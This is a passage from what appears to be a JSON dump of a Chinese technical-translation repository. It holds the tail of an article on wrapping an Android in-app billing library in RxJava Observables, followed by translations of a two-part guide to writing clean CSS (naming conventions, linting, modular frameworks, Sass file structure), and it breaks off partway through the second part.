subscriber.onNext(null);\n          subscriber.onCompleted();\n        } else {\n          subscriber.onError(new IabException(result.getMessage()));\n        }\n      });\n    } else {\n      subscriber.onNext(null);\n      subscriber.onComplete();\n    }\n  });\n}\n```\n\n一步一步地看上面的代码，你会发现我们可以在`setup()`方法中使用`Observable.create()`创建一个 Observable，并在`OnSubscribe`代码块(译者注：即 lambda 表达式`subscriber -> {}`中的代码)中调用我们基于监听器的方法。在这些代码中，**我们实现自己的监听器**，并将结果传给相应的 subscriber。\n\n具体到这个示例中，我们在 OnSubscribe 类中调用`helper.startSetup()`方法，通过我们自己实现的`OnIabSetupFinishedListener`将结果传递给相应的 subscriber。\n\n由于监听器总是会被调用，而不管 subsriber 还是否需要，我们必须先调用`subscriber.isUnsubscribed()`检查一下，以此来避免发送不必要的消息。\n\n注意，如果通过检查`helper.setupSuccessful()`发现 helper 已经设置好了，我们可以轻松地避免调用消耗巨大的`startSetup()`.比如在这个示例中，我们就可以直接调用`subscriber.onNext()`。\n\n## 封装抛出异常的同步方法\n\n第二个我们必须实现的方法是`queryInventory()`,它能被同步调用，但我们不能使用`Observable.just()`方法，因为它抛出的`IabException`并不是`RuntimeException`的子类，因此必须被捕获。\n\n我们可以很轻松地用`Observable.defer()`来解决这个问题。我们将同步调用的代码用 try-catch 包起来，并根据结果返回`Observable.just()`或是`Observable.error()`.\n```\npublic Observable queryInventory(final List skus) {\n  return Observable.defer(() -> {\n    try {\n      return Observable.just(helper.queryInventory(skus));\n    } catch (IabException e) {\n      return Observable.error(e);\n    }\n  });\n}\n```\n\n这是一个非常简单的例子。有点需要注意的是返回`Observable.error()`并不是最好的方法。如果这个异常是可以接受的，那你需要返回一个有用的带有值的 Observable。记住，`onError()`只能在 subscription 不再有用时被调用。\n\n## 封装使用了监听器和 Activity Results 的方法\n\n最后一个我们需要实现的方法，`purchase()`，和上面监听器的示例类似，但它因为使用了`startActivityForResult`而更为复杂。由于这里同样使用了监听器，因此并不改变我们的 Observable 实现，我们只需要在我们的 Helper 接口里增加一个方法，以便通过它返回 activity 的结果。\n\n由于这和第一个监听器的例子类似，我们直接来看 OpenIAB 的实现。\n```\npublic Observable purchase(final String sku) {\n  return Observable.create(subscriber -> {\n    helper.launchPurchaseFlow(activity, sku, REQUEST_CODE_PURCHASE, (result, info) -> {\n      if (subscriber.isUnsubscribed()) return;\n\n      if (result.isSuccess() || result.getResponse() == IabHelper.BILLING_RESPONSE_RESULT_ITEM_ALREADY_OWNED) {\n        subscriber.onNext(info);\n        subscriber.onCompleted();\n      } else {\n        subscriber.onError(new InAppHelperException(result.getMessage()));\n      }\n    });\n  });\n}\n\npublic boolean handleActivityResult(int requestCode, int resultCode, Intent data) {\n  return helper.handleActivityResult(requestCode, resultCode, data);\n}\n```\n如你所见，`handleActivityResult()`方法只是简单地将结果传递给 IabHelper 来处理。如果那个 activity 的结果和我们的请求相匹配，我们创建的监听器会被调用，然后监听器再反过来调用我们的 subscriber 方法。\n\n再次强调，我们需要检查`subscriber.isUnsubscribed()`来确保还有观察者需要我们的结果。\n\n## Rx无处不在\n这些只是几个简单的例子来演示如何用 RxJava 将现有的库封装起来。这能帮你灵活地在你的 Android 应用中使用函数式响应编程，并享受它的诸多好处。\n"
  },
  {
    "path": "TODO/write-clean-css-10-simple-steps-pt1.md",
    "content": "> * 原文地址：[How to Write Clean CSS in 10 Simple Steps Pt1](http://blog.alexdevero.com/write-clean-css-10-simple-steps-pt1/)\n* 原文作者：[Alex Devero](http://blog.alexdevero.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)、[Tina92](https://github.com/Tina92)\n\n# 如何书写整洁的 CSS 代码？只需十步！\n\n[![How to Write Clean CSS in 10 Simple Steps Pt1](https://i2.wp.com/blog.alexdevero.com/wp-content/uploads/2016/12/How-to-Write-Clean-CSS-in-10-Simple-Steps-Pt1-small.jpg?resize=697%2C464)](https://i2.wp.com/blog.alexdevero.com/wp-content/uploads/2016/12/How-to-Write-Clean-CSS-in-10-Simple-Steps-Pt1-small.jpg)\n\n你觉得自己可以写出整洁的 CSS 代码吗？许多网站的设计开发者都认为编写良好整洁的 CSS 代码很难。事实上，许多人根本就不喜欢 CSS，对他们来说 CSS 是一个痛点。好消息来了！使用 CSS 实际上可以很简单，你甚至可以乐在其中。这个迷你系列的文章可以助你实现这个目的，只需十步即可得到整洁的 CSS 代码。要知道，书写整洁的 CSS 代码是简单愉快地使用 CSS 的关键之一呢！\n\n##　内容列表：\n\n简介\n\nNo.1: 坚持一种命名规范\n\n良好的有意义的 CSS 类名\n\n语义化命名规范之美\n\nNo.2: 使用外链样式表文件\n\nNo.3: 验证 CSS 代码\n\n火的淬炼\n\nNo.4: 使用 CSS 代码 linter\n\nNo.5: 采用模块化的 CSS 代码\n\n如何选择模块化框架\n\nNo.6-10 在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/write-clean-css-10-simple-steps-pt2.md) \n\n# 简介\n\n本文中有许多方法可以称得上写出整洁的 CSS 代码的第一要务，同时也可能有一些你不想使用的方法。因此很难决定哪个方法最重要，也很难对这 10 个方法进行排序。考虑良久并重排了多次之后，我决定把这个问题留给你们。在这个只有两部分的迷你系列的文章中，我仅仅是展示给你们写出整洁的 CSS 代码的 10 个简单的方法而已。\n\n我以一种既定的顺序把这些方法展示给你，这是按照理论上每个方法所需的知识量来排序的。换句话说，前面的方法会比后面的方法容易实现。然而，这种顺序也不是一成不变的。很可能你会在排序或者方法内容上与我产生分歧，因此你可以把它想象成餐台并各取所需。\n\n如果你发现了美味佳肴，拿走不谢，否则跳过然后继续。所有这些书写整洁的 CSS 代码的方法都基于十年来我从事的网站设计工作的经验。如果你在实践中另有所得，你完全可以有不同的见解，但请不要不加尝试地否定它。一些方法没有生效的话，请试试其他方法，或者反其道而行之，最起码你应该尝试一下。没时间啰嗦了，快上车~\n\n# No.1: 坚持一种命名规范\n\n你考虑过该如何创建 CSS 类和 ID（请尽量避免 ID）吗？我不是指一闪而过的念头，而是花费若干时间来深度思考。当然，我假设你使用 CSS 是迫于工作，也许你并不想把写代码搞的多么有哲理。另外还可能有些人将 CSS 视如芒刺在背，找个借口赶快写完然后去做更有趣的事情，对吧？\n\n别担心，我不是来说服你使用 CSS 是一件多简单的事情。如果你不喜欢它，那也是你的选择。然而，我会试着说服你尝试一些其他方法，你可能经常使用 CSS，那么怎样把它变得有趣一点呢？你只需思考如何实现良好的命名规范，然后坚持下去。为什么要这样做呢？这会让你的 CSS 代码变得更具可读性。\n\n理解了 CSS 代码，你就能更高效地书写和使用它，也更容易写出整洁的 CSS 代码，过程也就不会那么痛苦了。也就是说，好的命名规范就等于容易理解的 CSS 代码，你将向整洁的 CSS 代码迈近了一步，而远离了使用 CSS 代码的痛苦。听起来很简单是吗？那么问题来了，良好的有意义的命名规范长什么样呢？\n\n## 良好的有意义的 CSS 类名\n\n我觉得良好的或者有意义的命名规范很容易辨认。当看到样式表内容的时候，你就能大致了解这段代码所控制的元素，这也可以用来测试你写的代码有多整洁。你是否需要查看 HTML 代码或者加载网站才能理解 CSS 代码？果真如此，我认为你的 CSS 代码还不够整洁，至少还有进步的空间。简言之，良好的有意义的命名规范应具有描述性。\n\n整洁的 CSS 代码中没有基于某人天马行空的想象而命名的类。如果你想发挥自己的想象力，我建议你用在其他地方。确实，以你最喜欢的书或者电影命名的类并不会造成危险，但你在酩酊大醉或者磕了药的时候修改密码就非常糟糕了，一时心血来潮起的类名与此如出一辙，因此这并不是书写整洁的 CSS 代码的正确方法。如果别人并不了解你所写的书或者电影，读你的代码简直就像读火星文一样。并且，万一你发现了另外一本好书或者好电影，你还要换类名吗？\n\n当然，你可以按自己的喜好改变而重写所有的 CSS 代码，但是这既不高效也让人无法忍受。通常来说 CSS 或者其他任何代码都必须要如洪荒宇宙一般经得住时间的考验，其复杂性也要如此。因此最好的办法是尽快开始书写整洁的 CSS 代码，最好是从一开始就这样。如果你现在还一头雾水，那就一个月之后再回过头来看这篇文章。除了凭借想象力命名，你可以使用哪些其他的命名规范呢？\n\n## 语义化命名规范之美\n\n易实现且有助于写出整洁的 CSS 代码的命名规范都是基于语义化的，简言之，类名应当可以清楚地描述其控制的元素。你用过 [Bootstrap](http://getbootstrap.com/) 或者 [Foundation](http://foundation.zurb.com/) 框架吗？去看一下他们的文档你就能明白什么是语义化的类名，比如：breadcrumb、btn、dropdown、jumbotron、pagination 或者 nav。你不用查看 HTML 代码也不用加载网站就能明白这些类名的含义。\n\n同样，这种方法也可以用于通过类名改变状态的元素。这种情况下类名应当描述其作用，比如：btn-raised 表明按钮凸起，btn-disabled 表明按钮失效，sidebar-left 表明侧边栏在左边，nav-primary 和 nav-secondary 清楚地说明了导航的重要级。\n\n你需要照抄这些类名才能写出整洁的 CSS 代码吗？不，你可以使用自己的命名规范去创建类名。你必须要牢记类名必须具有描述性，要让其他的网站设计开发人员无需与你沟通 ，也无需查看代码或网站就能够读懂你的 CSS 代码。如果你自我感觉良好，那么让其他人来看一下你的 CSS 代码，结果可能会令你大吃一惊。\n\n关于命名规范和书写整洁的 CSS 代码，我最后想要提醒的事情就是当你选择了自己的命名规范之后要坚持下去。最好将一种命名规范应用到所有的项目中，这会让你适应原来的项目，并且在新项目中如有神助，因为你不必每次都去琢磨起名字的事情了。我最喜欢的命名规范是啥？是 [BEM](http://blog.alexdevero.com/bem-crash-course-for-web-developers/)！\n\n# No.2: 使用外链样式表文件\n\n对许多网站设计开发者来说这是秃子头上的虱子——明摆着的事情，但是我认为提示一下总是有益无害的。你的大部分 CSS 样式都应该在外链样式表中，为什么是大部分而不是全部呢？根据谷歌对于优化 CSS 传输的[建议](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery)，少量内联的 CSS 代码是有好处的。问题是，哪些是少量的可内联的 CSS 代码呢？有一些关键的样式，请戳[这里](http://blog.alexdevero.com/50-landing-pages-4-startups-lessons-pt1/)查看。\n\n除了这些关键的 CSS 样式你可以写在 head 标签内或者小的 CSS 样式文件中，其他都应当写在主要的外链样式表文件中。要注意，外链文件需要经过压缩处理来[优化](http://blog.alexdevero.com/performance-budget-website-optimization-the-right-w)网站的性能。\n\n只写一个主要的外链样式表文件有助于书写整洁的 CSS 代码，原因有二：第一，所有的 CSS 代码都集中在一个文件内，有助于 CSS 文件的管理，不太可能会漏掉引入某个文件。第二个原因主要是心理上的，你很难对那些突然映入眼帘的乱糟糟的 CSS 文件视而不见。在写那些小的 CSS 样式文件的时候，你会觉得它们是有顺序的，只有当所有的文件都整理到一起的时候，你才会发现那真是一团乱麻。只写一个外链的 CSS 样式表文件能迫使你关注自己的 CSS 代码。谁会愿意翻几百行的代码去改一点点内容呢？更不要说你可能根本没在用那些样式。一段时间之后，你就会决定停止这种写很多文件的荒唐的做法，并做出些改变。值得庆幸，这会是好事，比如你会花时间将一团糟的 CSS 代码整理得整洁有序，即[重构你的 CSS 代码](http://blog.alexdevero.com/refactoring-css-without-losing-client/)。最后，一个样式表文件可以助你保持你的 [CSS DRY](http://csswizardry.com/2013/07/writing-dryer-vanilla-css/)，你节省的每一行甚至每一个 kB 都是好事。\n\n# No.3: 验证 CSS 代码\n\n又一个无脑的建议哈？如果你想写整洁的 CSS ，你应该确保代码生效。如果这真的非常简单，那为什么网页设计开发者中很少有人使用验证服务来检查他们的 CSS 代码呢？\n\n不管怎么说，除了维护整洁的 CSS 代码还有两个使用 [CSS 验证](http://jigsaw.w3.org/css-validator/#validate_by_input)的理由。\n\n第一，这很容易确保你向客户端传送了完美的内容，客户端当然不大可能会验证 CSS 代码。你不会知道验证的结果将会如何，并且这仅仅是确保你的工作完美无瑕。验证器只需几秒钟时间去分析 CSS 代码，如果没有问题或者警告，你可以奖励自己一朵大红花。但是如果出现了问题或者警告呢？太棒了！这是你提高工作水平和代码质量的好机会！当你思考的时候，你就在走上坡路了！整个过程中，你要么通过了验证，要么学到了新东西，何乐而不为呢？\n\n## 火的淬炼\n\n接下来是我们使用 CSS 验证器的第二个理由，你可以发现自己的弱项、发现自己的错误，然后改正错误并将弱项巩固成强项。你将再次向整洁的 CSS 迈近了一步。我想强调一件事情，验证器并不能用来评判你的优劣，时刻记住它只是个工具。所以，无论结果如何都不要太往心里去。\n\n上文提到，使用验证器跑一下 CSS 代码有利无害，你要么通过测试要么学到所需的知识。现在我要修正一下，还有一种情况是失败的，那就是你忽视结果并决定不再学习如何做得更加出色。其他的任何情况对你而言都是胜利。\n\n我们还有一些心理上的坎要过，比如我们害怕技能测试。上学的时候，考试不及格是非常糟糕的事情，拿到一个 F 简直就是世界末日。为什么要这样呢？如我所言每一次测试都是机会，你能发现自己不擅长的东西并且巩固它，不然如果连自己的弱项都不知道，又怎么能巩固它呢？这么说来，验证器是否正中你的要害？是的！打开 Google 找到你的代码哪里出错了，为什么会错，你也可以在 [Stack Overlow](http://stackoverflow.com/) 上寻找最佳答案。记住，变的优秀的唯一的办法就是不断学习和巩固你的弱项。\n\n# No.4: 使用 CSS linter\n\n你是不是觉得使用验证器就像是打了鸡血一样？或者像是搏击俱乐部的 Tyler Durden？那么我来给你介绍一个叫做 [CSSlint](http://csslint.net/) 的东西。如果你认为 CSS 验证器正中你的要害并且有点伤感情，那就尝试一下这个工具吧。\n\n这两者有什么区别吗？验证器只会提示你无效的代码，即被反对或没有完全实现的代码、语法错误以及不支持的元素。另一方面，linter 就显得更加主观一些。基于可以自定义的规则，它能提示许多被验证器忽略的内容，通常 linter 用来检测错误、重复的样式、性能、兼容性和可及性的问题。一旦你违反了规则，linter 都会有提示。我觉得使用 linter 更容易写出整洁的 CSS 代码。你也可以只使用验证器，事实上我关注的一些 CSS 最佳实践都是基于 CSS lint 的。\n\n你记得我们第一次讨论过的 [CSS 最佳实践](http://blog.alexdevero.com/css-best-practices-become-css-ninja-pt1/)吗？如果你关注了这些内容，你可以使用 linter 测试一下，比如你可以测试关键元素的使用、ID 和过时的元素。Linter 的好处就在于你可以自己选择要检查的规则，比如你想使用 box-sizing（谁不想呢？），就把该条规则禁用掉。记住，linter 应该助你写出整洁的 CSS 代码，而不是给你造成麻烦。\n\n同样要记住 CSS linter 中的规则并不是一成不变的，也没有人人都要关注的最佳实践。因此我建议你使用 linter 之前，按照需要自定义设置，如果你不喜欢一些规则，不要使用就是了。\n\n# No.5: 采用模块化的 CSS 代码\n\n第五个方法中，我们将接触更高级一点的书写整洁的 CSS 代码的方法。为什么要 CSS 代码模块化？真的有必要吗？我先回答第一个问题，CSS 代码模块化有助于我们构建和识别 CSS 样式，也有助于实现 DRY CSS。换句话说，它让你更容易写出整洁的 CSS 代码。模块化 CSS 潜在的不利因素就是需要使用预处理器，我使用的是 [Sass](http://sass-lang.com/)。\n\n你可以书写原生的 CSS 代码并将其模块化，使用预处理器的好处就是能够切分 CSS 代码，你可以分别存储每一个代码块文件，然后在一个单独的样式表文件中将其引入。这属于管理代码的范畴了，因此并不是 CSS 代码模块化的必须方式。CSS 代码模块化是指书写可重用的代码，你将创造能够用于任何位置的模块而不用书写更多代码，这能优化性能也有利于网站维护。\n\n我们可以花一整天的时间来讨论各种各样的框架，然而这并不是本文的目的。另外本文也已经够长了，我尽可能地长话短说。最后，有许多模块化的  CSS 框架，你可以用来书写整洁的 CSS 代码。因此……\n\n## 如何选择模块化框架\n\n最重要的问题来了，哪个才是最好的框架呢？我的答案是没有。根本就没有最好一说，实现方法和需求因人而异。适用于我的框架也许并不适合你，另外你也可以博采众长创造一个新的框架。因此我建议你尝试多个框架，并找到适合你的那个。\n\n拿我自己举个例子吧。我决定使用模块化的 CSS 代码的时候，刚开始使用的是 SMACSS，这个框架简单易学容易实现，基于对 CSS 代码的五种分类，即基础代码、布局、模块、状态和主题，需要学习的就是如何识别 CSS 代码的分类。你对 SMACSS 感兴趣吗？最好的学习方法是阅读官方文档，[官网地址](https://smacss.com/)。\n\n由于 SMACSS 的性能很好，我很长一段时间都在使用它。但是当我发现 Atomic design 的时候，我决定要上升一个档次。Atomic design 也是基于五个分类，即原子、分子、物体、模板和页面，也清楚地说明了每个特定的 CSS 样式所属的分类。我最喜欢将 Atomic design 和 BEM 一起使用，并用在了所有的项目中。你想学习更多内容吗？我给你推荐两个资源。\n\n第一个就是 Atomic design 的[官网](http://atomicdesign.bradfrost.com/)，介绍的地非常深入，因此你需要时间来消化。第二个就是[利用 Atomic design 书写可扩展的 & 模块化的 CSS 代码指南](http://blog.alexdevero.com/atomic-design-scalable-modular-css-sass/)，这个文章会帮助你学习如何利用 Atomic design 快速书写模块化 CSS 代码的所有内容。BTW，我在博客上也发布过这篇指南。除了 SMACSS 和 Atomic design，我还会介绍至少两个更流行的框架来书写模块化和整洁的 CSS 代码。\n\n一个是 Object Oriented CSS 也称 OOCSS。它将代码块视作可重用的对象，这仍然是模块化 CSS 代码，因此它的工作原理类似 SMACSS 和 Atomic design。我以前用过所以可以介绍地更多，请查看 GitHub 上的[文档](https://github.com/stubbornella/oocss/wiki)或者这篇 Smashing Magazine 上的[说明](https://www.smashingmagazine.com/2011/12/an-introduction-to-object-oriented-css-oocss/)。\n\n第二个是新出的 [ITCSS](http://itcss.io/)，其基于七个层——设置层、工具层、一般层、元素层、对象层、组件层和最高层。ITCSS 乍看之下稍有难度，其实不然，一旦你理解了规则和思路使用起来非常简单。如果你对 ITCSS 感兴趣，欢迎查看 [ITCSS 全方位简介](https://www.xfive.co/blog/itcss-scalable-maintainable-css-architecture/)。模块化 CSS 的框架千千万，但弱水三千只取一瓢，今天讨论的这些足够你起步了，我希望能尽快帮助你写出整洁的 CSS 代码，而不是将你淹没在可能的选项中。\n\n## 写在文末\n\n第一部分到这里就结束了。今天我们学习了五个写出整洁的 CSS 代码的方法，大部分都很简单，你能马上测试并实现。你可以简单地从验证和检查 CSS 代码开始，也可以使用外链的样式表文件。或者，如果喜欢更有趣的内容，你可以创造你自己的命名规范。如果你想挑战自己，不如来尝试使用一些框架写模块化的 CSS 代码？\n\n如果你觉得这些方法很难，请记住我们为什么要这样做——这有助于你书写易于维护的整洁的 CSS 代码。相信我，最初的不适是值得你去花费时间和精力去渡过的，把它想象成对自己的投资并且将会在未来收获成倍的回报。预知后事如何？我们会讨论一些关于 CSS 文件、自动操作、技术债务和更多内容，回见！"
  },
  {
    "path": "TODO/write-clean-css-10-simple-steps-pt2.md",
    "content": "> * 原文地址：[How to Write Clean CSS in 10 Simple Steps Pt2](http://blog.alexdevero.com/write-clean-css-10-simple-steps-pt2/)\n* 原文作者：[Alex Devero](http://blog.alexdevero.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[肘子涵](https://github.com/zhouzihanntu)、[naivebenson](https://github.com/bensonlove)\n\n# 如何书写整洁的 CSS 代码？只需十步！\n\n[![How to Write Clean CSS in 10 Simple Steps Pt2](https://i0.wp.com/blog.alexdevero.com/wp-content/uploads/2016/12/How-to-Write-Clean-CSS-in-10-Simple-Steps-Pt2-small.jpg?resize=697%2C464)](https://i0.wp.com/blog.alexdevero.com/wp-content/uploads/2016/12/How-to-Write-Clean-CSS-in-10-Simple-Steps-Pt2-small.jpg)\n\n你知道如何写出易维护的整洁的 CSS 代码吗？要想写出易读易理解易维护的 CSS 代码，你只需掌握一些简单的方法就够了！今天你将会学习其中五个，我们将会讨论文件结构，混合的 CSS 和 JavaScript 及其劣势，还有如何更好地给 CSS 添加前缀以及自动执行，最后我们将学习如何处理技术债务。那么，让我们来学习如何写出整洁的 CSS 代码吧！\n\n## 内容列表：\n\n**No.1-5 在**[**第一部分**](https://github.com/xitu/gold-miner/blob/master/TODO/write-clean-css-10-simple-steps-pt1.md)。\n\n**No.6: 整理你的文件结构**\n\n保持文件结构的简洁\n\n如何在单个文件中构建你的 CSS 代码\n\n**No.7: 让 CSS 和 JaceScript 代码分离**\n\n为什么混合的 CSS 和 JavaScript 是大忌？\n\n如何更聪明地使用 CSS 和 JavaScript？\n\n**No.8: 留心供应商的前缀和后备方案**\n\n避免臃肿的 CSS 代码\n\n**No.9: 让供应商更容易维护，自动执行**\n\n**N0.10: 管理你的技术债务**\n\n# No.6: 整理你的文件结构\n\n我们在第一部分讨论了模块化的 CSS 代码，在继续学习下一个方法之前，我们应当简单地讨论一下文件结构。从自身出发，模块化 CSS 代码非常有用，然而可能你习惯将所有的 CSS 代码放入一个样式表文件，那么它很快就会变得无法控制。比如说，从单个样式表文件到十个或者二十个文件那就有如天壤之别了。我们来看写下面这个例子，这是 ITCSS 中的文件结构：\n\n例:\n\n    @import \"settings.colors\";\n    @import \"settings.global\";\n    \n    @import \"tools.mixins\";\n    @import \"normalize-scss/normalize.scss\";\n    @import \"generic.reset\";\n    @import \"generic.box-sizing\";\n    @import \"generic.shared\";\n    \n    @import \"elements.headings\";\n    @import \"elements.hr\";\n    @import \"elements.forms\";\n    @import \"elements.links\";\n    @import \"elements.lists\";\n    @import \"elements.page\";\n    @import \"elements.quotes\";\n    @import \"elements.tables\";\n    \n    @import \"objects.animations\";\n    @import \"objects.drawer\";\n    @import \"objects.list-bare\";\n    @import \"objects.media\";\n    @import \"objects.layout\";\n    @import \"objects.overlays\";\n    \n    @import \"components.404\";\n    @import \"components.about\";\n    @import \"components.archive\";\n    @import \"components.avatars\";\n    @import \"components.blog-post\";\n    @import \"components.buttons\";\n    @import \"components.callout\";\n    @import \"components.clients\";\n    @import \"components.comments\";\n    @import \"components.contact\";\n    @import \"components.cta\";\n    @import \"components.faq\";\n    @import \"components.features\";\n    @import \"components.footer\";\n    @import \"components.forms\";\n    @import \"components.header\";\n    @import \"components.headings\";\n    @import \"components.hero\";\n    @import \"components.jobs\";\n    @import \"components.legal-nav\";\n    @import \"components.main-cta\";\n    @import \"components.main-nav\";\n    @import \"components.newsletter\";\n    @import \"components.page-title\";\n    @import \"components.pagination\";\n    @import \"components.post-teaser\";\n    @import \"components.process\";\n    @import \"components.quote-banner\";\n    @import \"components.offices\";\n    @import \"components.sec-nav\";\n    @import \"components.services\";\n    @import \"components.share-buttons\";\n    @import \"components.social-media\";\n    @import \"components.team\";\n    @import \"components.testimonials\";\n    @import \"components.topbar\";\n    @import \"components.reasons\";\n    @import \"components.wordpress\";\n    @import \"components.work-list\";\n    @import \"components.work-detail\";\n    \n    @import \"vendor.prism\";\n    \n    @import \"trumps.clearfix\";\n    @import \"trumps.utilities\";\n    \n    @import \"healthcheck\";\n\n上面的例子中包含了 65(!) 个文件，如果这都不算超出了控制，告诉我什么才是！65 个文件，即使对网站的设计开发的老鸟来说也已经非常多了。如果你是个新手，这看上去简直是疯了！当然，这个例子比较特别，文件的数量和你选取的方法有关。然而，项目伊始你需要记住，你应该提前为项目规划文件结构，而不要等到火烧眉毛了才着急。\n\n## 保持文件结构的简洁\n\n我建议两件事情，第一，保持文件结构简洁，第二，找到有效内容。你没必要非得使用上例中的方法，我相信构造模块化 CSS 的关键之一就是因人而异。不一定非要按部就班，你可以随心所欲地改变方法。另外，你也可以自由地组合使用多个框架，比如：第一部分中讲述了我综合使用了 [Atomic design](http://blog.alexdevero.com/atomic-design-scalable-modular-css-sass/) 和 [BEM](http://blog.alexdevero.com/bem-crash-course-for-web-developers/) 和少量的 [SMACSS](https://smacss.com/) 这三种框架的例子。\n\n你也可以和我一样！如果你喜欢框架 A 也喜欢框架 B，不一定非要二选一，你可以取二者之长来使用。这也同样适用于文件结构，你可以想用文件夹就用文件夹，不想用就干脆不用。其实，用文件夹可能会好一点，这样有助于文件管理。然而，用还是不用由你决定，只需要保证你用起来舒服就好。来看一个例子，这是我在某个项目中使用的文件结构：\n\n例:\n\n    // Project imports\n    // Import settings\n    @import '_settings/config';\n    \n    // Import tools\n    @import '_tools/functions';\n    @import '_tools/mixins';\n    \n    // Import base\n    @import '_base/normalize';\n    @import '_base/base';\n    @import '_base/typography';\n    \n    // Import atoms\n    @import '_atoms/animations';\n    @import '_atoms/buttons';\n    @import '_atoms/inputs';\n    @import '_atoms/inserts';\n    @import '_atoms/labels';\n    @import '_atoms/links';\n    \n    // Import molecules\n    @import '_molecules/forms';\n    @import '_molecules/gallery';\n    @import '_molecules/jumbotron';\n    @import '_molecules/navigation';\n    @import '_molecules/pagination';\n    @import '_molecules/parallax';\n    @import '_molecules/slider';\n    \n    // Import organisms\n    @import '_organisms/footer';\n    @import '_organisms/grid';\n    @import '_organisms/header';\n    @import '_organisms/sections';\n    \n    // Import pages\n    @import '_pages/404';\n    @import '_pages/about';\n    @import '_pages/contact';\n    @import '_pages/homepage';\n    @import '_pages/prices';\n    @import '_pages/faq';\n    \n    // Import templates\n    @import '_templates/print';\n\n如你所见，我喜欢使用文件夹使框架中各个层相互独立，我也喜欢让文件结构相对第一个 ITCSS 的例子保持简单。要记得，我之所以这样用是因为这很适合我，如果你喜欢其他的方法，那就用其他的方法，如果不喜欢某个方法就不要用。我们的目标是使用有意义的结构避免啰嗦的代码，而代码啰嗦是书写整洁的 CSS 代码最大的阻碍之一。整洁的 CSS 代码就是 DRY CSS。\n\n## 如何在单个文件中构建你的 CSS 代码\n\n我们要讨论的最后一个问题就是如何在单个文件中构建你的 CSS 代码结构。此时此刻，我们假定你没有使用任何的预处理器，因为事实上你没必要去用它。使用预处理器并不会帮你写出好的整洁的 CSS 代码。这种情况非常流行，如果你的 CSS 代码很糟糕，预处理器通常只会雪上加霜而不是雪中送炭。因此，如果你决定使用预处理器，首先保证提高你的 CSS 编码技巧。\n\n说一点次要的，组织 CSS 代码最简单的方式就是使用注释，这也是一个良好的实践。我在单个样式表文件中也会使用注释来组织代码，这样能使编译后的 CSS 代码更具可读性，不然将很难读懂引入内容的开始和结束位置。现在，我通常在工作流中使用两种注释，实际上我用了三种注释，但是第三种注释只在 Sass 中才使用，并且也不会将其编译成 CSS 代码。\n\n这两种注释即单行和多行注释。我用多行注释来标注每一个引入的内容，换句话说，我使用这种注释作为每个引入文件的开始。然后，我会使用单行注释来标明某项内容的开始位置。那么第三种源于 Sass 的注释呢？我会用它记录一些琐事或者未完成的内容，这种注释只在开发中才有用，没必要写入生产环境。\n\n例 1:\n\n    /**\n     * Section heading\n     */\n    \n     /* Sub-section heading */\n\n重申一下，你没必要使用相同样式的注释。注释有很多种，让我用几个实例来给你的想象力充满电。\n\n例 2:\n\n    /*\n     * === SECTION HEADING ===\n     */\n    \n    /*\n     * — Sub-section Heading —\n     */\n\n例 3:\n\n    /* ==========================================================================\n    SECTION HEADING\n    ========================================================================== */\n    \n    /**\n    * Sub-section Heading\n    */\n\n例 4:\n\n    /***************************\n    ****************************\n    Section heading\n    ****************************\n    ***************************/\n    \n    /***************************\n    Sub-section heading\n    ***************************/\n\n# No.7: 让 CSS 和 JaceScript 代码分离\n\n模块化的 CSS 代码和有效地使用注释能够很好地维护整洁的 CSS 代码。然而，如果你到处写 CSS 代码，这些方法一个也不会生效。什么意思？网站设计者经常在 JavaScript 代码中定义 CSS 样式，我认为这在使用 jQuery 或者其他 JacaScript 库的开发者中更为普遍。使用 jQuery 来改变 CSS 样式比使用 vanilla JavaScript 更简单迅速，然而，这并不意味着那是好事。\n\n## 为什么混合的 CSS 和 JavaScript 是大忌？\n\n混合的 CSS 和 JavaScript 代码的问题就是很容易被忽视。这和在若干个样式表中维护整洁的 CSS 代码不同，当添加了 JavaScript 文件，你只会给自己的工作添堵。如果你使用了 JavaScript 预处理器，那简直是在自讨苦吃。那么是不是应该不顾代价地避免杂糅的 CSS 和 JacaScript 代码呢？也许不必，如果你只需改动一两次或者改动很小，杂糅也没关系。\n\n当你想要改动一两次某个属性时候，可以选择 JavaScript，但是我不建议你使用这种方法，也不建议修改很多的属性或者反复地修改内容。如果那样做，你将不得不重复写这些代码，其结果是你不会再有 DRY CSS，更不要说是整洁的 CSS 代码了。当然，你可以使用函数来实现，但是你需要兼顾有些设备可能会造成 JavaScript 代码阻塞的情况。\n\n尽管生活在一个技术迭代迅速的时代，但是我们并不能百分百地依赖 JavaScript。想象一下其他很蠢或者自我感觉良好的事情，很可能有不用 JavaScript 的人访问你的网站。如果你的一些样式依赖于 JavaScript，它们将不会生效。因此，即使你不太关心代码的组织结构，写混合的 CSS 和 JavaScript 代码也不是一个好的方法。\n\n## 如何更聪明地使用 CSS 和 JavaScript？\n\n那么，问题来了，你有什么其他办法能够动态地改变 CSS 样式并且维护整洁的 CSS 代码呢？从在你的 CSS 样式表文件中定义新的类开始，之后根据需要使用 JavaScript 来给特定的元素添加或者删除类，这样你就可达到目的。你就没必要在 JavaScript 中写好多遍 CSS 代码了，也不用使用任何的函数来实现。但是仍存在一个问题，这不能帮你解决 JavaScript 阻塞或者失效的问题。\n\nJavaScript 阻塞或者失效问题的解决办法依当时情况而定。但你可以创建一个后备方案，设备不支持 JavaScript 时该方案就会生效，支持 JavaScript 的时候，你再去掉后备方案中的类，并不再使用。特征检测库 [Modernizr](https://modernizr.com/) 工作原理与之类似，我曾经讨论过如何利用 Modernizr 实现特征检测和渐进式增长，请戳[这里](http://blog.alexdevero.com/html5-css3-feature-detection-modernizr/)。有点跑题了。\n\n那么来概括一下，为了书写整洁的 CSS 代码，我建议保持 CSS 和 JavaScript 代码分离。如果你需要动态改变样式，请使用 CSS 中的类，不要直接在 JavaScript 中改变样式。因为哪怕你的改变很微小或者仅仅改动了一次，都可能会引发异常。如果你在为无 JavaScript 的情况写后备方案的时候遇到了任何问题，都可以跟我说。\n\n# No.8: 留心供应商的前缀和后备方案\n\n第八个书写整洁的 CSS 代码的方法是只使用有用的代码，这意味着你应该经常检查你的 CSS 代码并且移除老旧的供应商前缀和后备方案。我是使用 CSS 和 JavaScript 